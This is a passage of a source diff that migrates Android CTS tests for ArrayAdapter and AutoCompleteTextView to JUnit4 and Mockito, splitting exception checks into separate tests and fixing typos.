+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mArrayAdapter = new ArrayAdapter<>(mContext, R.layout.simple_dropdown_item_1line);
     }
 
+    @Test
     public void testConstructor() {
-
         new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line);
-        new ArrayAdapter<String>(mContext, INVALD_ID);// invalid resource id
+        new ArrayAdapter<String>(mContext, INVALID_ID); // invalid resource id
 
         new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line, R.id.text1);
-        new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line, INVALD_ID);
+        new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line, INVALID_ID);
 
-        new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line,
+        new ArrayAdapter<>(mContext, R.layout.simple_dropdown_item_1line,
                 new String[] {"str1", "str2"});
 
-        new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line, R.id.text1,
+        new ArrayAdapter<>(mContext, R.layout.simple_dropdown_item_1line, R.id.text1,
                 new String[] {"str1", "str2"});
 
-        List<String> list = new ArrayList<String>();
+        List<String> list = new ArrayList<>();
         list.add(STR1);
         list.add(STR2);
 
-        new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line, list);
+        new ArrayAdapter<>(mContext, R.layout.simple_dropdown_item_1line, list);
 
-        new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line, R.id.text1, list);
-
-        // invalid input
-        try {
-            new ArrayAdapter<String>(null, R.layout.simple_dropdown_item_1line);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
+        new ArrayAdapter<>(mContext, R.layout.simple_dropdown_item_1line, R.id.text1, list);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext() {
+        new ArrayAdapter<String>(null, R.layout.simple_dropdown_item_1line);
+    }
+
+    @Test
     public void testDataChangeEvent() {
-        final MockDataSetObserver mockDataSetObserver = new MockDataSetObserver();
+        final DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
         mArrayAdapter.registerDataSetObserver(mockDataSetObserver);
 
         // enable automatically notifying.
         mArrayAdapter.setNotifyOnChange(true);
-        assertEquals(0, mockDataSetObserver.getCalledOnChangedCount());
+        verifyZeroInteractions(mockDataSetObserver);
         mArrayAdapter.add(STR1);
         assertEquals(1, mArrayAdapter.getCount());
-        assertEquals(1, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(1)).onChanged();
         mArrayAdapter.add(STR2);
         assertEquals(2, mArrayAdapter.getCount());
-        assertEquals(2, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(2)).onChanged();
 
         // reset data
         mArrayAdapter.clear();
         // clear notify changed
-        assertEquals(3, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(3)).onChanged();
         assertEquals(0, mArrayAdapter.getCount());
         // if empty before, clear also notify changed
         mArrayAdapter.clear();
-        assertEquals(4, mockDataSetObserver.getCalledOnChangedCount());
-        mockDataSetObserver.clearCount();
-        assertEquals(0, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(4)).onChanged();
+
+        reset(mockDataSetObserver);
 
         // disable auto notify
         mArrayAdapter.setNotifyOnChange(false);
 
         mArrayAdapter.add(STR3);
         assertEquals(1, mArrayAdapter.getCount());
-        assertEquals(0, mockDataSetObserver.getCalledOnChangedCount());
+        verifyZeroInteractions(mockDataSetObserver);
 
         // manually notify
         mArrayAdapter.notifyDataSetChanged();
-        assertEquals(1, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(1)).onChanged();
         // no data changed, but force notify
         mArrayAdapter.notifyDataSetChanged();
-        assertEquals(2, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(2)).onChanged();
         // once called notify, auto notify enabled
         mArrayAdapter.add(STR3);
-        assertEquals(3, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(3)).onChanged();
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessView() {
         final TextView textView = new TextView(mContext);
         textView.setText(STR3);
@@ -145,48 +163,54 @@
         assertSame(textView, mArrayAdapter.getView(0, textView, null));
         assertSame(textView, mArrayAdapter.getDropDownView(0, textView, null));
         assertEquals(STR1, textView.getText());
-
-        try {
-            assertEquals(textView, mArrayAdapter.getView(-1, textView, null));
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            assertEquals(textView, mArrayAdapter.getDropDownView(-1, textView, null));
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            assertEquals(textView,
-                    mArrayAdapter.getView(mArrayAdapter.getCount(), textView, null));
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            assertEquals(textView,
-                    mArrayAdapter.getDropDownView(mArrayAdapter.getCount(), textView, null));
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
     @UiThreadTest
-    public void testGetFilter() {
-        Filter filter = mArrayAdapter.getFilter();
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetViewOutOfBoundsLow() {
+        final TextView textView = new TextView(mContext);
+        mArrayAdapter.getView(-1, textView, null);
+    }
 
-        assertNotNull(mArrayAdapter.getFilter());
-        assertSame(filter, mArrayAdapter.getFilter());
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDropDownGetViewOutOfBoundsLow() {
+        final TextView textView = new TextView(mContext);
+        mArrayAdapter.getDropDownView(-1, textView, null);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetViewOutOfBoundsHigh() {
+        final TextView textView = new TextView(mContext);
+        mArrayAdapter.getView(mArrayAdapter.getCount(), textView, null);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testDropDownGetViewOutOfBoundsHigh() {
+        final TextView textView = new TextView(mContext);
+        mArrayAdapter.getDropDownView(mArrayAdapter.getCount(), textView, null);
+    }
+
+    @Test
+    public void testGetFilter() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            Filter filter = mArrayAdapter.getFilter();
+
+            assertNotNull(mArrayAdapter.getFilter());
+            assertSame(filter, mArrayAdapter.getFilter());
+        });
     }
 
     /**
-     * just simple change the resource id from which the drop view inflate from
+     * Just simple change the resource id from which the drop view inflate from
      * we set a xml that not contain a textview, so exception should throw to lete us know
      * sucessfully change the dropdown xml, but should not affect the normal view by getview
      */
-    public void testSetDropDownViewResouce() {
+    @UiThreadTest
+    @Test
+    public void testSetDropDownViewResource() {
         mArrayAdapter.add(STR1);
 
         mArrayAdapter.getDropDownView(0, null, null);
@@ -194,17 +218,19 @@
         mArrayAdapter.setDropDownViewResource(R.layout.tabhost_layout);
         // getview is ok
         mArrayAdapter.getView(0, null, null);
-        // getDropDownView error for it changed
-        try {
-            mArrayAdapter.getDropDownView(0, null, null);
-            fail("should throw IllegalStateException");
-        } catch (IllegalStateException e) {
-            // expected exception
-        }
 
-        mArrayAdapter.setDropDownViewResource(INVALD_ID);
+        mArrayAdapter.setDropDownViewResource(INVALID_ID);
     }
 
+    @UiThreadTest
+    @Test(expected=IllegalStateException.class)
+    public void testSetDropDownViewResourceIllegal() {
+        mArrayAdapter.add(STR1);
+        mArrayAdapter.setDropDownViewResource(R.layout.tabhost_layout);
+        mArrayAdapter.getDropDownView(0, null, null);
+    }
+
+    @Test
     public void testAccessDropDownViewTheme() {
         Theme theme = mContext.getResources().newTheme();
         mArrayAdapter.setDropDownViewTheme(theme);
@@ -215,15 +241,16 @@
      * insert the item to the specific position, notify data changed
      * check -1, normal, > count
      */
+    @Test
     public void testInsert() {
         mArrayAdapter.setNotifyOnChange(true);
-        final MockDataSetObserver mockDataSetObserver = new MockDataSetObserver();
+        final DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
         mArrayAdapter.registerDataSetObserver(mockDataSetObserver);
 
         mArrayAdapter.insert(STR1, 0);
         assertEquals(1, mArrayAdapter.getCount());
         assertEquals(0, mArrayAdapter.getPosition(STR1));
-        assertEquals(1, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(1)).onChanged();
 
         mArrayAdapter.insert(STR2, 0);
         assertEquals(2, mArrayAdapter.getCount());
@@ -235,26 +262,31 @@
 
         mArrayAdapter.insert(null, 0);
         assertEquals(0, mArrayAdapter.getPosition(null));
+    }
 
-        try {
-            mArrayAdapter.insert(STR1, -1);
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-            // expected exception
-        }
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testInsertOutOfBoundsLow() {
+        mArrayAdapter.insert(STR1, 0);
+        mArrayAdapter.insert(STR2, 0);
+        mArrayAdapter.insert(null, 0);
 
-        try {
-            mArrayAdapter.insert(STR1, mArrayAdapter.getCount() + 1);
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-            // expected exception
-        }
+        mArrayAdapter.insert(STR1, -1);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testInsertOutOfBoundsHigh() {
+        mArrayAdapter.insert(STR1, 0);
+        mArrayAdapter.insert(STR2, 0);
+        mArrayAdapter.insert(null, 0);
+
+        mArrayAdapter.insert(STR1, mArrayAdapter.getCount() + 1);
     }
 
     /**
      * return the given position obj
      * test range: -1, normal, > count
      */
+    @Test
     public void testGetItem() {
         mArrayAdapter.add(STR1);
         mArrayAdapter.add(STR2);
@@ -263,26 +295,30 @@
         assertSame(STR1, mArrayAdapter.getItem(0));
         assertSame(STR2, mArrayAdapter.getItem(1));
         assertSame(STR3, mArrayAdapter.getItem(2));
+    }
 
-        // test invalid input
-        try {
-            mArrayAdapter.getItem(-1);
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-            // expected exception
-        }
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetItemOutOfBoundsLow() {
+        mArrayAdapter.add(STR1);
+        mArrayAdapter.add(STR2);
+        mArrayAdapter.add(STR3);
 
-        try {
-            mArrayAdapter.getItem(mArrayAdapter.getCount());
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-            // expected exception
-        }
+        mArrayAdapter.getItem(-1);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetItemOutOfBoundsHigh() {
+        mArrayAdapter.add(STR1);
+        mArrayAdapter.add(STR2);
+        mArrayAdapter.add(STR3);
+
+        mArrayAdapter.getItem(mArrayAdapter.getCount());
     }
 
     /**
      * just return the given position
      */
+    @Test
     public void testGetItemId() {
         mArrayAdapter.add(STR1);
         mArrayAdapter.add(STR2);
@@ -294,13 +330,13 @@
 
         // test invalid input
         assertEquals(-1, mArrayAdapter.getItemId(-1));
-        assertEquals(mArrayAdapter.getCount(),
-                mArrayAdapter.getItemId(mArrayAdapter.getCount()));
+        assertEquals(mArrayAdapter.getCount(), mArrayAdapter.getItemId(mArrayAdapter.getCount()));
     }
 
     /*
      * return the obj position that in the array, if there are same objs, return the first one
      */
+    @Test
     public void testGetPosition() {
         mArrayAdapter.add(STR1);
         mArrayAdapter.add(STR2);
@@ -321,24 +357,24 @@
      * Removes the specified object from the array. notify data changed
      * remove first one if duplicated string in the array
      */
+    @Test
     public void testRemove() {
-        final MockDataSetObserver mockDataSetObserver = new MockDataSetObserver();
+        final DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
         mArrayAdapter.registerDataSetObserver(mockDataSetObserver);
         mArrayAdapter.setNotifyOnChange(true);
 
         // remove the not exist one
         assertEquals(0, mArrayAdapter.getCount());
-        assertEquals(0, mockDataSetObserver.getCalledOnChangedCount());
+        verifyZeroInteractions(mockDataSetObserver);
         // remove the item not exist also notify change
         mArrayAdapter.remove(STR1);
-        assertEquals(1, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(1)).onChanged();
 
         mArrayAdapter.add(STR1);
         mArrayAdapter.add(STR2);
         mArrayAdapter.add(STR3);
         mArrayAdapter.add(STR2);
-        mockDataSetObserver.clearCount();
-        assertEquals(0, mockDataSetObserver.getCalledOnChangedCount());
+        reset(mockDataSetObserver);
         assertEquals(4, mArrayAdapter.getCount());
 
         mArrayAdapter.remove(STR1);
@@ -346,11 +382,11 @@
         assertEquals(-1, mArrayAdapter.getPosition(STR1));
         assertEquals(0, mArrayAdapter.getPosition(STR2));
         assertEquals(1, mArrayAdapter.getPosition(STR3));
-        assertEquals(1, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(1)).onChanged();
 
         mArrayAdapter.remove(STR2);
         assertEquals(2, mArrayAdapter.getCount());
-        // remove the first one if dumplicated
+        // remove the first one if duplicated
         assertEquals(1, mArrayAdapter.getPosition(STR2));
         assertEquals(0, mArrayAdapter.getPosition(STR3));
 
@@ -364,51 +400,45 @@
      * Creates a new ArrayAdapter from external resources. The content of the array is
      * obtained through {@link android.content.res.Resources#getTextArray(int)}.
      */
+    @Test
     public void testCreateFromResource() {
         ArrayAdapter.createFromResource(mContext, R.array.string, R.layout.simple_spinner_item);
 
-        // invalid input
-        try {
-            ArrayAdapter.createFromResource(null, R.array.string, R.layout.simple_spinner_item);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
-
-        try {
-            ArrayAdapter.createFromResource(mContext, INVALD_ID, R.layout.simple_spinner_item);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected exception
-        }
-
-       ArrayAdapter.createFromResource(mContext, R.array.string, INVALD_ID);
+        ArrayAdapter.createFromResource(mContext, R.array.string, INVALID_ID);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testCreateFromResourceWithNullContext() {
+        ArrayAdapter.createFromResource(null, R.array.string, R.layout.simple_spinner_item);
+    }
+
+    @Test(expected=Resources.NotFoundException.class)
+    public void testCreateFromResourceWithInvalidId() {
+        ArrayAdapter.createFromResource(mContext, INVALID_ID, R.layout.simple_spinner_item);
+    }
+
+    @Test
     public void testSort() {
-        final MockDataSetObserver mockDataSetObserver = new MockDataSetObserver();
+        final DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
         mArrayAdapter.registerDataSetObserver(mockDataSetObserver);
         mArrayAdapter.setNotifyOnChange(true);
-        assertEquals(0, mockDataSetObserver.getCalledOnChangedCount());
+        verifyZeroInteractions(mockDataSetObserver);
 
-        mArrayAdapter.sort( new Comparator<String>() {
-            public int compare(String o1, String o2) {
-                return 0;
-            }
-        });
-        assertEquals(1, mockDataSetObserver.getCalledOnChangedCount());
+        mArrayAdapter.sort((String o1, String o2) -> 0);
+        verify(mockDataSetObserver, times(1)).onChanged();
 
         mArrayAdapter.sort(null);
-        assertEquals(2, mockDataSetObserver.getCalledOnChangedCount());
+        verify(mockDataSetObserver, times(2)).onChanged();
     }
 
     /**
      * insert multiple items via add, notify data changed
      * check count and content
      */
+    @Test
     public void testAdd() {
         mArrayAdapter.setNotifyOnChange(true);
-        final MockDataSetObserver mockDataSetObserver = new MockDataSetObserver();
+        final DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
         mArrayAdapter.registerDataSetObserver(mockDataSetObserver);
 
         mArrayAdapter.clear();
@@ -425,12 +455,13 @@
      * insert multiple items via addAll, notify data changed
      * check count and content
      */
+    @Test
     public void testAddAllCollection() {
         mArrayAdapter.setNotifyOnChange(true);
-        final MockDataSetObserver mockDataSetObserver = new MockDataSetObserver();
+        final DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
         mArrayAdapter.registerDataSetObserver(mockDataSetObserver);
 
-        List<String> list = new ArrayList<String>();
+        List<String> list = new ArrayList<>();
         list.add("");
         list.add("hello");
         list.add("android");
@@ -452,9 +483,10 @@
      * insert multiple items via addAll, notify data changed
      * check count and content
      */
+    @Test
     public void testAddAllParams() {
         mArrayAdapter.setNotifyOnChange(true);
-        final MockDataSetObserver mockDataSetObserver = new MockDataSetObserver();
+        final DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
         mArrayAdapter.registerDataSetObserver(mockDataSetObserver);
 
         mArrayAdapter.clear();
@@ -468,35 +500,4 @@
         assertEquals(mArrayAdapter.getItem(3), "unit");
         assertEquals(mArrayAdapter.getItem(4), "test");
     }
-
-    private static class MockDataSetObserver extends DataSetObserver {
-
-        private int mCalledOnChangedCount;
-        private int mOnCalledInvalidatedCount;
-
-        public MockDataSetObserver() {
-            clearCount();
-        }
-
-        public int getCalledOnChangedCount() {
-            return mCalledOnChangedCount;
-        }
-
-        public int getCalledOnInvalidatedCount() {
-            return mOnCalledInvalidatedCount;
-        }
-
-        public void clearCount() {
-            mCalledOnChangedCount = 0;
-            mOnCalledInvalidatedCount = 0;
-        }
-
-        public void onChanged() {
-            mCalledOnChangedCount++;
-        }
-
-        public void onInvalidated() {
-            mOnCalledInvalidatedCount++;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/AutoCompleteCtsActivity.java b/tests/tests/widget/src/android/widget/cts/AutoCompleteCtsActivity.java
index 1a12d66..38133ca 100644
--- a/tests/tests/widget/src/android/widget/cts/AutoCompleteCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/AutoCompleteCtsActivity.java
@@ -18,7 +18,6 @@
 
 import android.app.Activity;
 import android.os.Bundle;
-
 import android.widget.cts.R;
 
 /**
diff --git a/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java b/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
index eb22d6b..5b969d3 100644
--- a/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
@@ -16,21 +16,44 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static com.android.compatibility.common.util.WidgetTestUtils.sameCharSequence;
 
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiModeManager;
 import android.content.Context;
 import android.content.res.Configuration;
-import android.cts.util.PollingCheck;
+import android.content.res.Resources;
+import android.graphics.Color;
 import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.graphics.drawable.Drawable;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Editable;
+import android.text.TextWatcher;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.KeyCharacterMap;
@@ -40,37 +63,40 @@
 import android.widget.AdapterView;
 import android.widget.ArrayAdapter;
 import android.widget.AutoCompleteTextView;
+import android.widget.AutoCompleteTextView.Validator;
 import android.widget.Filter;
 import android.widget.Filterable;
-import android.widget.AutoCompleteTextView.Validator;
+import android.widget.cts.util.TestUtils;
 
-import java.io.IOException;
+import com.android.compatibility.common.util.PollingCheck;
 
-public class AutoCompleteTextViewTest extends
-        ActivityInstrumentationTestCase2<AutoCompleteCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
-    /**
-     * Instantiates a new text view test.
-     */
-    public AutoCompleteTextViewTest() {
-        super("android.widget.cts", AutoCompleteCtsActivity.class);
-    }
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AutoCompleteTextViewTest {
+    private final static String[] WORDS =
+            new String[] { "testOne", "testTwo", "testThree", "testFour" };
+    private final static String STRING_TEST = "To be tested";
+    private final static String STRING_VALIDATED = "String Validated";
+    private final static String STRING_CHECK = "To be checked";
 
-    /** The m activity. */
     private Activity mActivity;
-
-    /** The m instrumentation. */
     private Instrumentation mInstrumentation;
     private AutoCompleteTextView mAutoCompleteTextView;
+    private MockAutoCompleteTextView mMockAutoCompleteTextView;
     private boolean mNumeric = false;
-    ArrayAdapter<String> mAdapter;
-    private final String[] WORDS = new String[] { "testOne", "testTwo", "testThree", "testFour" };
-    boolean isOnFilterComplete = false;
-    final String STRING_TEST = "To be tested";
-    final String STRING_VALIDATED = "String Validated";
-    final String STRING_CHECK = "To be checked";
-    final String STRING_APPEND = "and be appended";
-    Validator mValidator = new Validator() {
+    private ArrayAdapter<String> mAdapter;
+
+    @Rule
+    public ActivityTestRule<AutoCompleteCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AutoCompleteCtsActivity.class);
+
+    private final Validator mValidator = new Validator() {
         public CharSequence fixText(CharSequence invalidText) {
             return STRING_VALIDATED;
         }
@@ -80,25 +106,40 @@
         }
     };
 
-    /*
-     * (non-Javadoc)
-     *
-     * @see android.test.ActivityInstrumentationTestCase#setUp()
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mInstrumentation = getInstrumentation();
+    protected class MyTextWatcher implements TextWatcher {
+        private CharSequence mExpectedAfter;
+
+        public MyTextWatcher(CharSequence expectedAfter) {
+            mExpectedAfter = expectedAfter;
+        }
+
+        @Override
+        public void onTextChanged(CharSequence s, int start, int before, int count) {
+            assertEquals(mExpectedAfter.toString(), s.toString());
+            // This watcher is expected to be notified in the middle of completion
+            assertTrue(mAutoCompleteTextView.isPerformingCompletion());
+        }
+
+        @Override
+        public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+        }
+
+        @Override
+        public void afterTextChanged(Editable s) {
+        }
+    }
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mAutoCompleteTextView = (AutoCompleteTextView) mActivity
                 .findViewById(R.id.autocompletetv_edit);
-        mAdapter = new ArrayAdapter<String>(mActivity,
+        mMockAutoCompleteTextView = (MockAutoCompleteTextView) mActivity
+                .findViewById(R.id.autocompletetv_custom);
+        mAdapter = new ArrayAdapter<>(mActivity,
                 android.R.layout.simple_dropdown_item_1line, WORDS);
         KeyCharacterMap keymap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
         if (keymap.getKeyboardType() == KeyCharacterMap.NUMERIC) {
@@ -107,37 +148,41 @@
     }
 
     boolean isTvMode() {
-        UiModeManager uiModeManager = (UiModeManager) getActivity().getSystemService(
+        UiModeManager uiModeManager = (UiModeManager) mActivity.getSystemService(
                 Context.UI_MODE_SERVICE);
         return uiModeManager.getCurrentModeType() == Configuration.UI_MODE_TYPE_TELEVISION;
     }
 
-    @UiThreadTest
+    @Test
     public void testConstructor() {
         XmlPullParser parser;
 
-        // new the AutoCompleteTextView instance
         new AutoCompleteTextView(mActivity);
+        new AutoCompleteTextView(mActivity, null);
+        new AutoCompleteTextView(mActivity, null, android.R.attr.autoCompleteTextViewStyle);
+        new AutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_AutoCompleteTextView);
+        new AutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_AutoCompleteTextView);
+        new AutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_Material_AutoCompleteTextView);
+        new AutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_AutoCompleteTextView);
+
+        final Resources.Theme popupTheme = mActivity.getResources().newTheme();
+        popupTheme.applyStyle(android.R.style.Theme_Material, true);
+        new AutoCompleteTextView(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_AutoCompleteTextView, popupTheme);
 
         // new the AutoCompleteTextView instance
         parser = mActivity.getResources().getXml(R.layout.simple_dropdown_item_1line);
         AttributeSet attributeSet = Xml.asAttributeSet(parser);
         new AutoCompleteTextView(mActivity, attributeSet);
-        new AutoCompleteTextView(mActivity, null);
 
         // new the AutoCompleteTextView instance
         parser = mActivity.getResources().getXml(R.layout.framelayout_layout);
         attributeSet = Xml.asAttributeSet(parser);
         new AutoCompleteTextView(mActivity, attributeSet, 0);
-        new AutoCompleteTextView(mActivity, null, 0);
-        // Test constructor with null Context, in fact, previous two functions will
-        // finally invoke this version.
-        try {
-            // Test with null Context
-            new AutoCompleteTextView(null, attributeSet, 0);
-            fail("should throw NullPointerException");
-        } catch (Exception e) {
-        }
 
         // Test for negative style resource ID
         new AutoCompleteTextView(mActivity, attributeSet, -1);
@@ -145,38 +190,50 @@
         new AutoCompleteTextView(mActivity, null, -1);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext() {
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.simple_dropdown_item_1line);
+        AttributeSet attributeSet = Xml.asAttributeSet(parser);
+        new AutoCompleteTextView(null, attributeSet, 0);
+    }
+
+    @Test
     public void testEnoughToFilter() throws Throwable {
         mAutoCompleteTextView.setThreshold(3);
         assertEquals(3, mAutoCompleteTextView.getThreshold());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                String testString = "TryToTest";
-                mAutoCompleteTextView.setText(testString);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mAutoCompleteTextView.setText("TryToTest"));
         mInstrumentation.waitForIdleSync();
         assertTrue(mAutoCompleteTextView.enoughToFilter());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                String testString = "No";
-                mAutoCompleteTextView.setText(testString);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mAutoCompleteTextView.setText("No"));
         mInstrumentation.waitForIdleSync();
         assertFalse(mAutoCompleteTextView.enoughToFilter());
     }
 
     @UiThreadTest
+    @Test
     public void testAccessAdapter() {
+        mAutoCompleteTextView.setAdapter(null);
+        assertNull(mAutoCompleteTextView.getAdapter());
+
+        mAutoCompleteTextView.setAdapter(mAdapter);
+        assertSame(mAdapter, mAutoCompleteTextView.getAdapter());
+
+        // Re-set adapter to null
+        mAutoCompleteTextView.setAdapter(null);
+        assertNull(mAutoCompleteTextView.getAdapter());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessFilter() {
         MockAutoCompleteTextView autoCompleteTextView = new MockAutoCompleteTextView(mActivity);
 
         // Set Threshold to 4 characters
         autoCompleteTextView.setThreshold(4);
 
-        ArrayAdapter<String> adapter = null;
-        autoCompleteTextView.setAdapter(adapter);
+        autoCompleteTextView.setAdapter(null);
         assertNull(autoCompleteTextView.getAdapter());
         assertNull(autoCompleteTextView.getFilter());
 
@@ -187,52 +244,59 @@
         assertSame(filter, autoCompleteTextView.getFilter());
 
         // Re-set adapter to null
-        autoCompleteTextView.setAdapter(adapter);
+        autoCompleteTextView.setAdapter(null);
         assertNull(autoCompleteTextView.getAdapter());
         assertNull(autoCompleteTextView.getFilter());
     }
 
-    @SuppressWarnings("deprecation")
+    @UiThreadTest
+    @Test
     public void testAccessItemClickListener() {
-        final MockOnItemClickListener testOnItemClickListener = new MockOnItemClickListener();
+        final AdapterView.OnItemClickListener mockItemClickListener =
+                mock(AdapterView.OnItemClickListener.class);
 
         // To ensure null listener
         mAutoCompleteTextView.setOnItemClickListener(null);
         assertNull(mAutoCompleteTextView.getItemClickListener());
         assertNull(mAutoCompleteTextView.getOnItemClickListener());
 
-        assertNotNull(testOnItemClickListener);
-        mAutoCompleteTextView.setOnItemClickListener(testOnItemClickListener);
-        assertSame(testOnItemClickListener, mAutoCompleteTextView.getItemClickListener());
-        assertSame(testOnItemClickListener, mAutoCompleteTextView.getOnItemClickListener());
+        mAutoCompleteTextView.setOnItemClickListener(mockItemClickListener);
+        assertSame(mockItemClickListener, mAutoCompleteTextView.getItemClickListener());
+        assertSame(mockItemClickListener, mAutoCompleteTextView.getOnItemClickListener());
+        verifyZeroInteractions(mockItemClickListener);
 
         // re-clear listener by setOnItemClickListener
         mAutoCompleteTextView.setOnItemClickListener(null);
         assertNull(mAutoCompleteTextView.getItemClickListener());
         assertNull(mAutoCompleteTextView.getOnItemClickListener());
+        verifyZeroInteractions(mockItemClickListener);
     }
 
-    @SuppressWarnings("deprecation")
+    @UiThreadTest
+    @Test
     public void testAccessItemSelectedListener() {
-        MockOnItemSelectedListener testOnItemSelectedListener = new MockOnItemSelectedListener();
+        final AdapterView.OnItemSelectedListener mockItemSelectedListener =
+                mock(AdapterView.OnItemSelectedListener.class);
 
         // To ensure null listener
         mAutoCompleteTextView.setOnItemSelectedListener(null);
         assertNull(mAutoCompleteTextView.getItemSelectedListener());
         assertNull(mAutoCompleteTextView.getOnItemSelectedListener());
 
-        assertNotNull(testOnItemSelectedListener);
-        mAutoCompleteTextView.setOnItemSelectedListener(testOnItemSelectedListener);
